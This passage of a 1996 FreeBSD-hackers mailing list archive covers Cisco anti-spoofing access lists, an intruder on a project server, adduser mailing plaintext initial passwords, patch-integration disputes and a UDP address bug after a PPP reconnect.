"private internets" and 127.0.0.0/8 and 0.0.0.0/8 on both inbound and outbound filters, in addition to blocking inbound addresses with my network numbers.. basically they don't survive my routers :-) I don't have a Cisco manual handy, I do remember that the syntax is a bit grungy, but very flexible. Note: IIRC, the CPU on a 2500 is about as fast as a VW bug. You might be better off getting a PC, running FreeBSD, and doing a firewall on that ;-) You could even dump the 2500 in favor of one of ET's sync serial cards. ... Joe ------------------------------------------------------------------------------- Joe Greco - Systems Administrator jgreco@ns.sol.net Solaria Public Access UNIX - Milwaukee, WI 414/546-7968 From owner-freebsd-hackers Mon Jun 24 06:59:49 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id GAA22167 for hackers-outgoing; Mon, 24 Jun 1996 06:59:49 -0700 (PDT) Received: from time.cdrom.com (time.cdrom.com [204.216.27.226]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id GAA22162 for ; Mon, 24 Jun 1996 06:59:47 -0700 (PDT) Received: from time.cdrom.com (localhost [127.0.0.1]) by time.cdrom.com (8.7.5/8.6.9) with ESMTP id GAA11830 for ; Mon, 24 Jun 1996 06:59:42 -0700 (PDT) To: hackers@freebsd.org Subject: adduser mail Date: Mon, 24 Jun 1996 06:59:42 -0700 Message-ID: <11828.835624782@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Am I alone in thinking that adduser's current default behavior of mailing the user their password in plaintext is somehow wrong? Jordan From owner-freebsd-hackers Mon Jun 24 07:04:34 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id HAA22516 for hackers-outgoing; Mon, 24 Jun 1996 07:04:34 -0700 (PDT) Received: from mail.cs.tu-berlin.de (root@mail.cs.tu-berlin.de [130.149.17.13]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id HAA22510 for ; Mon, 24 Jun 1996 07:04:27 -0700 (PDT) Received: from campa.panke.de (anonymous218.ppp.cs.tu-berlin.de [130.149.17.218]) by mail.cs.tu-berlin.de (8.6.12/8.6.12) with ESMTP id PAA13246; Mon, 24 Jun 1996 15:56:12 +0200 Received: (from wosch@localhost) by campa.panke.de (8.6.12/8.6.12) id PAA00584; Mon, 24 Jun 1996 15:46:31 +0200 Date: Mon, 24 Jun 1996 15:46:31 +0200 From: Wolfram Schneider Message-Id: <199606241346.PAA00584@campa.panke.de> To: Don Yuniskis Cc: freebsd-hackers@freefall.freebsd.org (FreeBSD hackers) Subject: INDEX.fonts In-Reply-To: <199606231640.JAA16712@seagull.rtd.com> References: <199606231640.JAA16712@seagull.rtd.com> Reply-to: & Group MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Don Yuniskis writes: >Greetings! > This wasn't present in 2.1R but provisions for it were there. >I don't know if it's been created for -stable yet or even discarded. Sorry, I forgot -stable. Now fixed. Thanks! Wolfram src/share/syscons/fonts/Makefile,v [-current] ---------------------------- revision 1.8 date: 1996/02/18 02:25:32; author: wosch; state: Exp; lines: +3 -2 add forgotten INDEX.fonts, kbdmap(1) need this file [-stable] ---------------------------- revision 1.6.4.1 date: 1996/06/23 22:10:13; author: wosch; state: Exp; lines: +4 -3 Merge from HEAD install forgotten INDEX.* From owner-freebsd-hackers Mon Jun 24 07:12:27 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id HAA22868 for hackers-outgoing; Mon, 24 Jun 1996 07:12:27 -0700 (PDT) Received: from etinc.com (etinc.com [204.141.244.98]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id HAA22859 for ; Mon, 24 Jun 1996 07:12:22 -0700 (PDT) Received: from dialup-usr11.etinc.com (dialup-usr11.etinc.com [204.141.95.132]) by etinc.com (8.6.12/8.6.9) with SMTP id KAA16587; Mon, 24 Jun 1996 10:20:00 -0400 Date: Mon, 24 Jun 1996 10:20:00 -0400 Message-Id: <199606241420.KAA16587@etinc.com> X-Sender: dennis@etinc.com X-Mailer: Windows Eudora Version 2.0.3 Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" To: "Jordan K. Hubbard" From: dennis@etinc.com (Dennis) Subject: Re: I need help on this one - please help me track this guy down! Cc: hackers@freebsd.org Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk >jkh p2 a235.pu.ru Sun04PM - -bash (bash) > >This was "me" on wcarchive.cdrom.com today - when I caught the guy I >starred myself out of the password file and `watch -W'd' him. He >wasn't doing anything special, but when I sent him a "gotcha!" he >attempted to remove my home directory (nothing in it, no loss) and >logged out. That proves this guy to not only be a cracker but a >malicious one at that and, were he to be caught and relieved of his >testicles by the russian mafia, I would be the first to ask for them >in a jar as a momento! :-) Perhaps it WAS the Russian mafia? Probably just some LINUX guy putting bugs in all the online code :-) db From owner-freebsd-hackers Mon Jun 24 07:19:51 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id HAA23643 for hackers-outgoing; Mon, 24 Jun 1996 07:19:51 -0700 (PDT) Received: from gvr.win.tue.nl (root@gvr.win.tue.nl [131.155.210.19]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id HAA23611; Mon, 24 Jun 1996 07:19:37 -0700 (PDT) Received: by gvr.win.tue.nl (8.6.12/1.53) id QAA12781; Mon, 24 Jun 1996 16:17:58 +0200 From: guido@gvr.win.tue.nl (Guido van Rooij) Message-Id: <199606241417.QAA12781@gvr.win.tue.nl> Subject: Re: I need help on this one - please help me track this guy down! To: jgreco@brasil.moneng.mei.com (Joe Greco) Date: Mon, 24 Jun 1996 16:17:57 +0200 (MET DST) Cc: jkh@time.cdrom.com, hackers@FreeBSD.ORG, security@FreeBSD.ORG, ache@FreeBSD.ORG In-Reply-To: <199606241351.IAA05446@brasil.moneng.mei.com> from Joe Greco at "Jun 24, 96 08:51:39 am" X-Mailer: ELM [version 2.4ME+ PL17 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Joe Greco wrote: > > > How do you install such things on a cisco 2500? :-) Seriously, if > > > there's a way then I can get someone from cisco to help me out, but I > > > first need to know that it's even a reasonable request. > > > > Put an access group *in*. On the interface to your ISP. Deny all > > packets originating from ip numbers on your internal network. > > Allow anything else. > > Better yet, do not allow just "anything" else... > > I block the RFC1597 "private internets" and 127.0.0.0/8 and 0.0.0.0/8 on > both inbound and outbound filters, in addition to blocking inbound addresses > with my network numbers.. basically they don't survive my routers :-) > We do too..but for the sake of simplicity I didn't mention the RFC1597 addresses. The 0.0.0.0/8 is new to me..what is its purpose? -Guido From owner-freebsd-hackers Mon Jun 24 07:29:24 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id HAA24597 for hackers-outgoing; Mon, 24 Jun 1996 07:29:24 -0700 (PDT) Received: from brasil.moneng.mei.com (brasil.moneng.mei.com [151.186.109.160]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id HAA24574; Mon, 24 Jun 1996 07:29:16 -0700 (PDT) Received: (from jgreco@localhost) by brasil.moneng.mei.com (8.7.Beta.1/8.7.Beta.1) id JAA05533; Mon, 24 Jun 1996 09:28:02 -0500 From: Joe Greco Message-Id: <199606241428.JAA05533@brasil.moneng.mei.com> Subject: Re: I need help on this one - please help me track this guy down! To: guido@gvr.win.tue.nl (Guido van Rooij) Date: Mon, 24 Jun 1996 09:28:01 -0500 (CDT) Cc: jgreco@brasil.moneng.mei.com, jkh@time.cdrom.com, hackers@FreeBSD.ORG, security@FreeBSD.ORG, ache@FreeBSD.ORG In-Reply-To: <199606241417.QAA12781@gvr.win.tue.nl> from "Guido van Rooij" at Jun 24, 96 04:17:57 pm X-Mailer: ELM [version 2.4 PL24] Content-Type: text Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > Better yet, do not allow just "anything" else... > > > > I block the RFC1597 "private internets" and 127.0.0.0/8 and 0.0.0.0/8 on > > both inbound and outbound filters, in addition to blocking inbound addresses > > with my network numbers.. basically they don't survive my routers :-) > > > > We do too..but for the sake of simplicity I didn't mention the RFC1597 > addresses. The 0.0.0.0/8 is new to me..what is its purpose? It's a reserved, unassigned network. I don't have an RFC handy to check, but I believe that the reasoning might have been because of the "magic" "address" 0.0.0.0 that it contains. It seems simpler to lose it than to be in doubt, and I think I saw a detailed argument at one point, anyways... ;-) ... Joe ------------------------------------------------------------------------------- Joe Greco - Systems Administrator jgreco@ns.sol.net Solaria Public Access UNIX - Milwaukee, WI 414/546-7968 From owner-freebsd-hackers Mon Jun 24 07:58:59 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id HAA27372 for hackers-outgoing; Mon, 24 Jun 1996 07:58:59 -0700 (PDT) Received: from parkplace.cet.co.jp (parkplace.cet.co.jp [202.32.64.1]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id HAA27324; Mon, 24 Jun 1996 07:58:49 -0700 (PDT) Received: from localhost (michaelh@localhost) by parkplace.cet.co.jp (8.7.5/CET-v2.1) with SMTP id XAA07216; Mon, 24 Jun 1996 23:58:11 +0900 (JST) Date: Mon, 24 Jun 1996 23:58:10 +0900 (JST) From: Michael Hancock To: Ollivier Robert cc: "Jordan K. Hubbard" , guido@gvr.win.tue.nl, hackers@freebsd.org, security@freebsd.org, ache@freebsd.org Subject: Re: I need help on this one - please help me track this guy down! In-Reply-To: <199606241143.NAA09908@keltia.freenix.fr> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Maybe someone should ask pu.ru to filter outgoing non-pu.ru packets. Some ISPs do this. On Mon, 24 Jun 1996, Ollivier Robert wrote: > It seems that Jordan K. Hubbard said: > > How do you install such things on a cisco 2500? :-) Seriously, if > > there's a way then I can get someone from cisco to help me out, but I > > first need to know that it's even a reasonable request. > > If you use Serial0 for the Internet and A.B.C.0/24 in your internal > network, use something like the following: > > ! > ! Refuses loose/strict source routed packets > ! > no ip source-route > ! > interface Serial0 > ip address A.B.C.254 255.255.255.0 > ip access-g 100 in > ip access-g 101 out > > ... > > ! access list for incoming packets > ! should fix most of the new attacks when a spoofed packet > ! is trying to come from the outside with a source address > ! from our network which is impossible. > ! > no access-list 100 > ! > ! Rejects our own addresses C-Class A.B.C.0/24 > ! > access-list 100 deny ip A.B.C.0 0.0.0.255 any > ! > ! Rejects EPITA B-Class 163.5.0.0/16 > ! > access-list 100 deny ip 163.5.0.0 0.0.255.255 any > ! > ! Rejects special addresses > ! > access-list 100 deny ip 127.0.0.0 0.255.255.255 any > ! > ! RFC-1918 IANA reserved A/B/C classes > ! A-Class 10.0.0.0/8 > ! > access-list 100 deny ip 10.0.0.0 0.255.255.255 any > ! > ! B-Classes 172.16.0.0/12 > ! > access-list 100 deny ip 172.16.0.0 0.15.255.255 any > ! > ! C-Classes 192.168.0.0/16 > ! > access-list 100 deny ip 192.168.0.0 0.0.255.255 any > ! > ! Accepts the rest > ! > access-list 100 permit ip any A.B.C.0 0.0.0.255 > > -- > Ollivier ROBERT -=- The daemon is FREE! -=- roberto@keltia.freenix.fr > FreeBSD keltia.freenix.fr 2.2-CURRENT #11: Thu Jun 13 11:01:47 MET DST 1996 > From owner-freebsd-hackers Mon Jun 24 08:07:20 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id IAA27893 for hackers-outgoing; Mon, 24 Jun 1996 08:07:20 -0700 (PDT) Received: from seagull.rtd.com (root@seagull.rtd.com [198.102.68.2]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id IAA27887 for ; Mon, 24 Jun 1996 08:07:18 -0700 (PDT) Received: (from dgy@localhost) by seagull.rtd.com (8.7.5/1.2) id IAA07818; Mon, 24 Jun 1996 08:07:06 -0700 (MST) From: Don Yuniskis Message-Id: <199606241507.IAA07818@seagull.rtd.com> Subject: Re: I need help on this one - please help me track this guy down! To: dennis@etinc.com (Dennis) Date: Mon, 24 Jun 1996 08:07:05 -0700 (MST) Cc: jkh@time.cdrom.com, hackers@FreeBSD.org In-Reply-To: <199606241420.KAA16587@etinc.com> from "Dennis" at Jun 24, 96 10:20:00 am X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk > Perhaps it WAS the Russian mafia? > > Probably just some LINUX guy putting bugs in all the online code :-) Hmmm... I dunno. This close to a RELEASE, I'm sure Jordan has nightmares of *that*! :-( From owner-freebsd-hackers Mon Jun 24 08:18:29 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id IAA28855 for hackers-outgoing; Mon, 24 Jun 1996 08:18:29 -0700 (PDT) Received: from rocky.sri.MT.net (rocky.sri.MT.net [204.182.243.10]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id IAA28838 for ; Mon, 24 Jun 1996 08:18:24 -0700 (PDT) Received: (from nate@localhost) by rocky.sri.MT.net (8.6.12/8.6.12) id JAA20540; Mon, 24 Jun 1996 09:17:01 -0600 Date: Mon, 24 Jun 1996 09:17:01 -0600 From: Nate Williams Message-Id: <199606241517.JAA20540@rocky.sri.MT.net> To: Terry Lambert Cc: hackers@freefall.freebsd.org Subject: Re: cvs commit: src/etc/mtree BSD.usr.dist In-Reply-To: <199606240535.WAA27042@phaeton.artisoft.com> References: <5288.835493006@critter.tfs.com> <199606240535.WAA27042@phaeton.artisoft.com> Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > In addition, the other patches I have submitted that *did* meet your > seperability and documentation criteria (the fsck root inode count > fix, the NFS server locking support patches, etc.) have *not* been > integrated. In case you hadn't noticed, the 'fsck' patch has been in current for almost a month now. The reason it wasn't put in was because I don't think anyone took enough time to understand the problem well enough, so therefore didn't want to 'break' the system if the patch didn't work. I gave up on trying to understand the problem (not enough time) and simply went with it hoping my testing was adequate. It *appears* to work, though if you asked me if I was sure it's the correct fix I couldn't answer with assurance. > patches accepted. I am *not* the only person in this boat. It > takes nearly Herculean effort to get some types of patches accepted; > several groups have had to go so far as to offer their own boot > disks and patch kits (most notably Hosokawa-san's PCCARD code). > Even with Nate's patronage, there is still the need for building > seperate-from-snap boot disks to address a number of issues, because > the patches are not *truly* integrated. And won't be. The Nomad code is *full* of hacks and kludges (admitted by Hosokawa). My goal is to remove as many of those from the base system code and *then* add them back 'as necessary', rather than importing them wholesale and trying to work around them. My recent 'fix' to allow you to use 'generic' IRQ's in the code made the user-land code smaller, while the Nomad code adds 4-5K of completely un-necessary code which also makes the code more difficult to understand. Its taken my weeks to understand small portions of the code (not all due to them), and rather than continuing on in this manner I feel that it's better to make what we have more understandable and maintainable than chock-full of features that may/may not be correctly implemented. The 'boot-disk' code they use would be much *simpler* if they added 2 functions to the code and relegated all of the conditional code to it. (You should be able to use 1 additional function, but I'll grant 2). Instead of doing that there are modifications to *every* single file which makes the code bloat excessively, plus trying to understand it becomes more problematic. I've almost considered re-writing the Nomad code to remove these particular kludges, but I don't agree with how it's being done in the first place so it would only encourage using it. What I've done recently is spend *ALOT* of time trying to sync. up our source trees. I've been sending patches back to Hosokawa with a set of diffs that can be applied to our -current tree to bring the Nomad code into the *exact* same functionality as their code, but with white-space and formatting changes removed. This way they can review their changes again to make sure they are valid (I question some of them), and allow us to at least have more commonality than before. Right now the code has diverged so much that integrating is near impossible, and if they diverge much more than I'm going to give up and roll everything myself from scratch. This sounds harsh, but it's starting becoming *more* work to integrate their code than it would be for me to write it myself. And, this is peanuts compared to your FS patches, your kernel locking patches, and the like. Also, the Nomad kernel code is already mostly broken up into functional chunks because of my previous integration efforts, so it's easy for me to separate out function from style. However, this has taken my close to 6 months of my time working over 20 hours/week. For you to expect Poul (or any other developer) to commit to this much time is too much. I'm doing it because I got paid for part of it at work, and the last 2.5 months I've done it because I want to finish what I started. > I'm sure I could also halve or quarter my production, providing > rationale for things which are, to me at least, bloody obvious. I'm > already willing to spend a large amount of time parceling up my > work, but I have only so much time I'm willing to spend; please do > not bankrupt me. Please don't bankrupt the committers. For a committer to understand your code, they must become at least passingly familiar with both the problem, and the fix. So, it takes almost as long to 'commit' a fix as it does to create it. So, what may be 'bloody obvious' to you isn't so obvious to a committer. Remember, none of us are paid FS hackers in our day jobs, and *some* of the code that has been submitted in the past has been full of 'stylistic' and other misc. changes that are considered unacceptable. Until you've proven yourself to the responsible committer, you must *help* that person understand your code, which means putting up with his/her idiosyncracies necessary to get code integrated. And, once you've proven yourself over a period of time that you can be trusted to commit 'functional' code that doesn't contain 'stylistic' changes that *may* have function down the road, you become a committer on your own, able to break the tree at will like the rest of us. But this responsibility has to be earned with trust, not with words and code. > Can we compromise? Can you define how small is palletable so that I > can preinsure palletability before sending something, and if, when > I send something, it is not sufficient self explanatory (with a minimum > of accompanying text), tell me *that* so I can correct it? Finally, let me say that I hope you appreciate the work Poul is doing. I wouldn't even *begin* to start trying to integrate the code you're submitting. I looked at it *once*, and I was unable to separate out the functionality from the rest, and even if I was I wouldn't know if the changes were valid or not. Both the project and you win if we can get your *fixes* in the tree. But both you and the project lose if you continue to send in 'mega-commits' which are continually rejected, since the liklihood of integration become less each time for both personal and technical reasons. Nate From owner-freebsd-hackers Mon Jun 24 08:28:40 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id IAA29869 for hackers-outgoing; Mon, 24 Jun 1996 08:28:40 -0700 (PDT) Received: from rocky.sri.MT.net (rocky.sri.MT.net [204.182.243.10]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id IAA29862 for ; Mon, 24 Jun 1996 08:28:37 -0700 (PDT) Received: (from nate@localhost) by rocky.sri.MT.net (8.6.12/8.6.12) id JAA20586; Mon, 24 Jun 1996 09:28:31 -0600 Date: Mon, 24 Jun 1996 09:28:31 -0600 From: Nate Williams Message-Id: <199606241528.JAA20586@rocky.sri.MT.net> To: "Jordan K. Hubbard" Cc: hackers@freebsd.org Subject: Re: adduser mail In-Reply-To: <11828.835624782@time.cdrom.com> References: <11828.835624782@time.cdrom.com> Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > Am I alone in thinking that adduser's current default behavior of mailing > the user their password in plaintext is somehow wrong? Yep. If they're able to login to read their email, they already know their password. If they don't, then someone else *might* be able to intercept it somehow. Nate From owner-freebsd-hackers Mon Jun 24 08:31:44 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id IAA00156 for hackers-outgoing; Mon, 24 Jun 1996 08:31:44 -0700 (PDT) Received: from mole.mole.org (marmot.mole.org [204.216.57.191]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id IAA00148 for ; Mon, 24 Jun 1996 08:31:39 -0700 (PDT) Received: (from mail@localhost) by mole.mole.org (8.6.12/8.6.12) id PAA14528; Mon, 24 Jun 1996 15:30:07 GMT Received: from meerkat.mole.org(206.197.192.110) by mole.mole.org via smap (V1.3) id sma014518; Mon Jun 24 15:29:42 1996 Received: (from mrm@localhost) by meerkat.mole.org (8.6.11/8.6.9) id IAA09724; Mon, 24 Jun 1996 08:29:41 -0700 Date: Mon, 24 Jun 1996 08:29:41 -0700 From: "M.R.Murphy" Message-Id: <199606241529.IAA09724@meerkat.mole.org> To: mrm@mole.Mole.ORG, terry@lambert.org Subject: Re: cvs commit: src/etc/mtree BSD.usr.dist Cc: alk@Think.COM, hackers@freefall.freebsd.org, phk@FreeBSD.org Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk > Can we agree with the statement: > > o Be it resolved that future work will be done on FreeBSD, > such that upgrades are designated as expected events, > and thus we should not engage in behaviours which screw > the ability to upgrade. > > ? I'd agree with the above without even mumbling. I suggest the following as a very small first step: remove /etc/rc.local from the distribution. /etc/rc does the Right Thing if /etc/rc.local isn't there. Anything that is developer supplied in /etc/rc.local should be moved to /etc/rc iff it is important enough to be there. If a local administrator wants to add /etc/rc.local, fine. If a local administrator wants to dink with /etc/rc, fine too, but the local administrator must then live with upgrade problems. I note that I prefer the rc.d startup method, but, in the interest of tradition, the /etc/rc /etc/rc.local method will do and is almost equivalent. -- Mike Murphy mrm@Mole.ORG +1 619 598 5874 Better is the enemy of Good From owner-freebsd-hackers Mon Jun 24 08:43:26 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id IAA00974 for hackers-outgoing; Mon, 24 Jun 1996 08:43:26 -0700 (PDT) Received: from skipper.epsilon.nl (skipper.epsilon.nl [194.178.91.12]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id IAA00954 for ; Mon, 24 Jun 1996 08:43:13 -0700 (PDT) Received: from skipper.epsilon.nl (localhost [127.0.0.1]) by skipper.epsilon.nl (8.6.12/8.6.12) with SMTP id RAA15612; Mon, 24 Jun 1996 17:38:45 +0200 Message-ID: <31CEB685.41C67EA6@epsilon.nl> Date: Mon, 24 Jun 1996 17:38:45 +0200 From: Jouke Dijkstra Organization: Epsilon Computer Support X-Mailer: Mozilla 2.0 (X11; I; FreeBSD 2.1.0-RELEASE i386) MIME-Version: 1.0 To: "Jordan K. Hubbard" CC: hackers@freebsd.org Subject: Re: adduser mail References: <11828.835624782@time.cdrom.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Jordan K. Hubbard wrote: > > Am I alone in thinking that adduser's current default behavior of mailing > the user their password in plaintext is somehow wrong? > > Jordan This tweaks my mind. It's a users initial password. No-one can read without knowing it. If somebody knows it, he does not have to read it. Only someone who's hacked root can read it, but someone who did that will not be interested in the password.. There is one danger though.. If the mail is send to another host by MX records, the password can be snooped. - Jouke From owner-freebsd-hackers Mon Jun 24 09:01:46 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id JAA02171 for hackers-outgoing; Mon, 24 Jun 1996 09:01:46 -0700 (PDT) Received: from time.cdrom.com (time.cdrom.com [204.216.27.226]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id JAA02166 for ; Mon, 24 Jun 1996 09:01:44 -0700 (PDT) Received: from time.cdrom.com (localhost [127.0.0.1]) by time.cdrom.com (8.7.5/8.6.9) with ESMTP id IAA12416; Mon, 24 Jun 1996 08:57:28 -0700 (PDT) To: Jouke Dijkstra cc: hackers@freebsd.org Subject: Re: adduser mail In-reply-to: Your message of "Mon, 24 Jun 1996 17:38:45 +0200." <31CEB685.41C67EA6@epsilon.nl> Date: Mon, 24 Jun 1996 08:57:27 -0700 Message-ID: <12414.835631847@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > Only someone who's hacked root can read it, but someone who did that > will not be interested in the password.. Actually, you're *always* interested in the password. Most people use the same password in multiple places. Jordan From owner-freebsd-hackers Mon Jun 24 09:04:37 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id JAA02396 for hackers-outgoing; Mon, 24 Jun 1996 09:04:37 -0700 (PDT) Received: from critter.tfs.com ([140.145.16.108]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id JAA02376; Mon, 24 Jun 1996 09:04:33 -0700 (PDT) Received: from critter.tfs.com (localhost [127.0.0.1]) by critter.tfs.com (8.7.5/8.7.3) with ESMTP id IAA06632; Mon, 24 Jun 1996 08:28:27 -0700 (PDT) To: "Jordan K. Hubbard" cc: Amancio Hasty , hackers@FreeBSD.org, security@FreeBSD.org, ache@FreeBSD.org Subject: Re: I need help on this one - please help me track this guy down! In-reply-to: Your message of "Sun, 23 Jun 1996 18:40:25 PDT." <8378.835580425@time.cdrom.com> Date: Mon, 24 Jun 1996 08:28:26 -0700 Message-ID: <6630.835630106@critter.tfs.com> From: Poul-Henning Kamp Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk In message <8378.835580425@time.cdrom.com>, "Jordan K. Hubbard" writes: >Also, I think that calling the FBI on this one is only likely to get >me put on infinite hold when they hear that the perpetrator is in >Russia. :-) Yes, Russia would be an CIA issue. -- Poul-Henning Kamp | phk@FreeBSD.ORG FreeBSD Core-team. http://www.freebsd.org/~phk | phk@login.dknet.dk Private mailbox. whois: [PHK] | phk@ref.tfs.com TRW Financial Systems, Inc. Future will arrive by its own means, progress not so. From owner-freebsd-hackers Mon Jun 24 09:14:47 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id JAA02817 for hackers-outgoing; Mon, 24 Jun 1996 09:14:47 -0700 (PDT) Received: from watermarkgroup.com (lor.watermarkgroup.com [38.246.139.30]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id JAA02809 for ; Mon, 24 Jun 1996 09:14:42 -0700 (PDT) Received: from Kim.watermarkgroup.com by watermarkgroup.com (4.1/SMI-4.1) id AA07563; Mon, 24 Jun 96 12:14:09 EDT Message-Id: <31CEBECE.2D13@watermarkgroup.com> Date: Mon, 24 Jun 1996 12:14:07 -0400 From: Luoqi Chen Organization: The Watermark Group X-Mailer: Mozilla 3.0b3Gold (Macintosh; I; PPC) Mime-Version: 1.0 To: hackers@freebsd.org Subject: UDP still uses old address after pppd reconnects Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk This morning I reconnected to my ISP at a different IP address using pppd. And now at office I couldn't connect to one of my own udp server. Initially, I thought my ISP screwed up. But after a little more research, I believe this might be a bug with FreeBSD. Last night my IP address was ppp-2.ts-1.ptn.idt.net, this morning I connected at ppp-4.ts-1.ptn.idt.net. I wrote a little program sending UDP packet to its UDP echo port from office and watched the traffic through tcpdump, here is what I got, % tcpdump -l -i ppp0 port echo tcpdump: listening on ppp0 11:30:30.607374 lor.watermarkgroup.com.1751 > ppp-4.ts-1.ptn.idt.net.echo: udp 8 11:30:30.607674 ppp-2.ts-1.ptn.idt.net.echo > lor.watermarkgroup.com.1751: udp 8 This is only a problem for udp. I have no problem with tcp, tcp echo correctly sends back using ppp-4 address, and I can telnet to it just fine. By the way, I restarted inetd, it didn't help. I checked ifconfig, it showed correct address, % ifconfig ppp0 ppp0: flags=8051 mtu 1500 inet 169.132.64.4 --> 169.132.64.253 netmask 0xffffff00 One reason that might cause this behavior is that I setup an ipip tunnel between my machine at home and office. (Well, my ISP idt.net is not responding to my complaint that I can't connect to ftp.freebsd.org since I signed up. And I have to live with it before I find another cheap alternative. On the other hand, my company has a more decent connection through PSI net. This in fact has worked pretty well, until now). On my home PC, I setup a process listening to the /dev/tun. It wraps up all ip packets in udp and sends over to a sun at my office, where the packets are relay to the internet gateway throught /dev/nit. Incoming packets are picked up by the sun using arp proxy and sent back to my pc at home. This was done last Friday. I had not seen this problem prior to that. I restarted the tunnel process after I reestablished my ppp conntection, but it was not working now because of this udp problem. Anyone have any idea? -lq From owner-freebsd-hackers Mon Jun 24 09:58:21 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id JAA05123 for hackers-outgoing; Mon, 24 Jun 1996 09:58:21 -0700 (PDT) Received: from brasil.moneng.mei.com (brasil.moneng.mei.com [151.186.109.160]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id JAA05106; Mon, 24 Jun 1996 09:58:16 -0700 (PDT) Received: (from jgreco@localhost) by brasil.moneng.mei.com (8.7.Beta.1/8.7.Beta.1) id LAA05829; Mon, 24 Jun 1996 11:56:11 -0500 From: Joe Greco Message-Id: <199606241656.LAA05829@brasil.moneng.mei.com> Subject: Re: Automatic PPP-detecting getty and pppd!!! To: joerg_wunsch@uriah.heep.sax.de Date: Mon, 24 Jun 1996 11:56:10 -0500 (CDT) Cc: freebsd-hackers@freebsd.org, isp@freebsd.org In-Reply-To: <199606212013.WAA22783@uriah.heep.sax.de> from "J Wunsch" at Jun 21, 96 10:13:17 pm X-Mailer: ELM [version 2.4 PL24] Content-Type: text Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > > As Joe Greco wrote: > > > > There are patches contributed sitting in the GNATS queue already. > > > > Do they modify pppd to correctly log users in, do they handle it as a new > > gettytab capability, etc? > > j@uriah 269% query-pr 1019 [...] > >Number: 1019 > >Originator: David Muir Sharnoff > >Release: FreeBSD 2.1-STABLE i386 > >Arrival-Date: Mon Feb 12 02:00:02 PST 1996 > > You should be able to get the PR via the Web interface, or drop me > a mail if you want. Looks to me like it is a bit of a hack that uses a pseudo-user to log the user in via login(1) ... there is some merit to that but I am not sure I care for the solution, beyond the fact that it also works. ... Joe ------------------------------------------------------------------------------- Joe Greco - Systems Administrator jgreco@ns.sol.net Solaria Public Access UNIX - Milwaukee, WI 414/546-7968 From owner-freebsd-hackers Mon Jun 24 10:01:02 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id KAA05363 for hackers-outgoing; Mon, 24 Jun 1996 10:01:02 -0700 (PDT) Received: from xenon.chromatic.com (xenon.chromatic.com [199.5.224.1]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id KAA05353 for ; 